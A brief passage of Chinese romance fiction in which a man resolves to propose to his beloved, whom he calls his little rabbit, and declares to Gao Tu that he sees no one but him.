他要向他的小兔子求婚。要把这份关系彻底拴住。 他的小兔子,要和他一辈子幸福下去。 我的世界从来没有别人,高途,我的眼里只有你。